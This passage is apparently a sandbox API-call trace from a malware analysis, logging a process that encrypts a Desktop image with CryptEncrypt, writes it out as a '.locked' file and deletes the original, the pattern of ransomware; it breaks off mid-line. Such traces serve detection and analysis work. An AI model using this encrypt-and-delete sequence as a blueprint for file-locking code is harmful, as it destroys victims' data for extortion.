0x0 [0126.699] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae590, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe67c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0126.700] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcd, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.700] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcc, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.700] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcd, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcd, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.700] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\F1deKy.png.locked", nBufferLength=0x105, lpBuffer=0x99add60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\F1deKy.png.locked", lpFilePart=0x0) returned 0x44 [0126.700] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae254) returned 1 [0126.701] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\F1deKy.png.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11\\f1deky.png.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0126.701] GetFileType (hFile=0x86c) returned 0x1 [0126.701] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae250) returned 1 [0126.701] GetFileType (hFile=0x86c) returned 0x1 [0126.701] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcd, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.701] CryptGenRandom (in: hProv=0x42ebc28, dwLen=0x10, pbBuffer=0x6b04434 | out: pbBuffer=0x6b04434) returned 1 [0126.701] CryptContextAddRef (hProv=0x42ebc28, pdwReserved=0x0, dwFlags=0x0) returned 1 [0126.701] CryptDuplicateKey (in: hKey=0x8e85038, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae9f8 | out: phKey=0x99ae9f8*=0x8e85078) returned 1 [0126.701] CryptContextAddRef (hProv=0x42ebc28, pdwReserved=0x0, dwFlags=0x0) returned 1 [0126.702] CryptSetKeyParam (hKey=0x8e85078, dwParam=0x4, pbData=0x6b05828*=0x1, dwFlags=0x0) returned 1 [0126.702] CryptSetKeyParam (hKey=0x8e85078, dwParam=0x1, pbData=0x6b057f4, dwFlags=0x0) returned 1 [0126.702] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae590, nSize=0x100 | out: lpBuffer="\xee43\xbd77\x130f\x1c63\x112f\xf0f1\xdde\xb55d\xcd98\xcf99\xf2b2\xfcb9\xb804\xe158\xaee9\x5444\x6361\x3935\x3031\x6461\x6538\x3332\x6334\x3261\xe0") returned 0x0 [0126.702] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xce, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.702] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcd, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.702] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xce, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xce, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.702] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xce, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.702] ReadFile (in: hFile=0x878, lpBuffer=0x6b08db0, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae9fc, lpOverlapped=0x0 | out: lpBuffer=0x6b08db0*, lpNumberOfBytesRead=0x99ae9fc*=0x8833, lpOverlapped=0x0) returned 1 [0126.703] CryptEncrypt (in: hKey=0x8e85078, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6b1cdbc*, pdwDataLen=0x99ae9f0*=0x8830, dwBufLen=0x8830 | out: pbData=0x6b1cdbc*, pdwDataLen=0x99ae9f0*=0x8830) returned 1 [0126.703] WriteFile (in: hFile=0x86c, lpBuffer=0x6b0455c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae9d4, lpOverlapped=0x0 | out: lpBuffer=0x6b0455c*, lpNumberOfBytesWritten=0x99ae9d4*=0x1000, lpOverlapped=0x0) returned 1 [0126.704] WriteFile (in: hFile=0x86c, lpBuffer=0x6b1dda8*, nNumberOfBytesToWrite=0x7844, lpNumberOfBytesWritten=0x99ae9d4, lpOverlapped=0x0 | out: lpBuffer=0x6b1dda8*, lpNumberOfBytesWritten=0x99ae9d4*=0x7844, lpOverlapped=0x0) returned 1 [0126.704] ReadFile (in: hFile=0x878, lpBuffer=0x6b08db0, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae9fc, lpOverlapped=0x0 | out: lpBuffer=0x6b08db0*, lpNumberOfBytesRead=0x99ae9fc*=0x0, lpOverlapped=0x0) returned 1 [0126.705] CryptEncrypt (in: hKey=0x8e85078, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6b25678*, pdwDataLen=0x99aea50*=0x10, dwBufLen=0x10 | out: pbData=0x6b25678*, pdwDataLen=0x99aea50*=0x10) returned 1 [0126.705] CryptEncrypt (in: hKey=0x8e85078, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6b256ac*, pdwDataLen=0x99aea58*=0x0, dwBufLen=0x10 | out: pbData=0x6b256ac*, pdwDataLen=0x99aea58*=0x10) returned 1 [0126.705] WriteFile (in: hFile=0x86c, lpBuffer=0x6b0455c*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99aea28, lpOverlapped=0x0 | out: lpBuffer=0x6b0455c*, lpNumberOfBytesWritten=0x99aea28*=0x10, lpOverlapped=0x0) returned 1 [0126.705] CloseHandle (hObject=0x86c) returned 1 [0126.706] CloseHandle (hObject=0x878) returned 1 [0126.706] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\F1deKy.png", nBufferLength=0x105, lpBuffer=0x99ae4a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\F1deKy.png", lpFilePart=0x0) returned 0x3d [0126.706] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae590, nSize=0x100 | out: lpBuffer="") returned 0x0 [0126.707] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcf, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.707] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xce, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.707] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcf, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcf, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.708] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\F1deKy.png" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11\\f1deky.png")) returned 0x20 [0126.708] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\F1deKy.png", nBufferLength=0x105, lpBuffer=0x99ae190, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\F1deKy.png", lpFilePart=0x0) returned 0x3d [0126.709] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0126.709] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0126.709] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99ae114, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0126.709] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0126.709] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0126.709] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0126.709] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99ae114, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0126.709] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0126.709] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0126.709] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0126.710] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99ae114, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0126.710] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0126.710] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0126.710] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0126.710] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop", nBufferLength=0x105, lpBuffer=0x99ae114, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0126.710] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\.", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0126.710] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11")) returned 0x10 [0126.710] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11")) returned 0x10 [0126.710] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11", nBufferLength=0x105, lpBuffer=0x99ae114, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11", lpFilePart=0x0) returned 0x32 [0126.710] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\.", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11", lpFilePart=0x0) returned 0x32 [0126.710] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\F1deKy.png" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11\\f1deky.png")) returned 0x20 [0126.711] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\F1deKy.png", nBufferLength=0x105, lpBuffer=0x99ae118, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\F1deKy.png", lpFilePart=0x0) returned 0x3d [0126.711] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\F1deKy.png", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\F1deKy.png", lpFilePart=0x0) returned 0x3d [0126.711] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\F1deKy.png", nBufferLength=0x105, lpBuffer=0x99ae254, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\F1deKy.png", lpFilePart=0x0) returned 0x3d [0126.711] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae714) returned 1 [0126.711] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\F1deKy.png", nBufferLength=0x105, lpBuffer=0x99ae21c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\F1deKy.png", lpFilePart=0x0) returned 0x3d [0126.711] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\F1deKy.png\\", nBufferLength=0x105, lpBuffer=0x99ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\F1deKy.png\\", lpFilePart=0x0) returned 0x3e [0126.711] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\F1deKy.png\\*", lpFindFileData=0x99ae43c | out: lpFindFileData=0x99ae43c) returned 0xffffffff [0126.712] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6d8) returned 1 [0126.712] CoTaskMemAlloc (cb=0x404) returned 0x438c200 [0126.712] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x438c200, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0126.712] CoTaskMemFree (pv=0x438c200) [0126.713] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\F1deKy.png" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11\\f1deky.png")) returned 0x20 [0126.713] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\F1deKy.png", nBufferLength=0x105, lpBuffer=0x99ae1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\F1deKy.png", lpFilePart=0x0) returned 0x3d [0126.713] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\F1deKy.png", nBufferLength=0x105, lpBuffer=0x99ae15c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\F1deKy.png", lpFilePart=0x0) returned 0x3d [0126.713] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae638) returned 1 [0126.713] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\F1deKy.png" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11\\f1deky.png"), fInfoLevelId=0x0, lpFileInformation=0x6b3a92c | out: lpFileInformation=0x6b3a92c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b477910, ftCreationTime.dwHighDateTime=0x1d4ad6b, ftLastAccessTime.dwLowDateTime=0x5d1c2d30, ftLastAccessTime.dwHighDateTime=0x1d4a22e, ftLastWriteTime.dwLowDateTime=0x5d1c2d30, ftLastWriteTime.dwHighDateTime=0x1d4a22e, nFileSizeHigh=0x0, nFileSizeLow=0x8833)) returned 1 [0126.713] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae634) returned 1 [0126.713] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\F1deKy.png" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11\\f1deky.png")) returned 1 [0126.715] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcf, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.716] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae590, nSize=0x100 | out: lpBuffer="") returned 0x0 [0126.716] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd0, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.716] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcf, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.716] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd0, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd0, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.717] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\F1deKy.png.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11\\f1deky.png.locked")) returned 0x20 [0126.718] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\F1deKy.png.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11\\f1deky.png.locked")) returned 0x20 [0126.718] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\F1deKy.png.locked", nBufferLength=0x105, lpBuffer=0x99ae248, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\F1deKy.png.locked", lpFilePart=0x0) returned 0x44 [0126.718] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\F1deKy.png.locked", nBufferLength=0x105, lpBuffer=0x99ae20c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\F1deKy.png.locked", lpFilePart=0x0) returned 0x44 [0126.718] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd0, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.718] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\F1deKy.png", nBufferLength=0x105, lpBuffer=0x99ae4f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\F1deKy.png", lpFilePart=0x0) returned 0x3d [0126.718] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5e8, nSize=0x100 | out: lpBuffer="") returned 0x0 [0126.719] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd1, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.719] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae920*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae920*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd0, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.719] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd1, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd1, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.721] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae94c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae94c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd1, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.721] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5e8, nSize=0x100 | out: lpBuffer="ᬀ玹") returned 0x0 [0126.721] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd2, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.721] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae920*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae920*(Data1=0x4a301033, 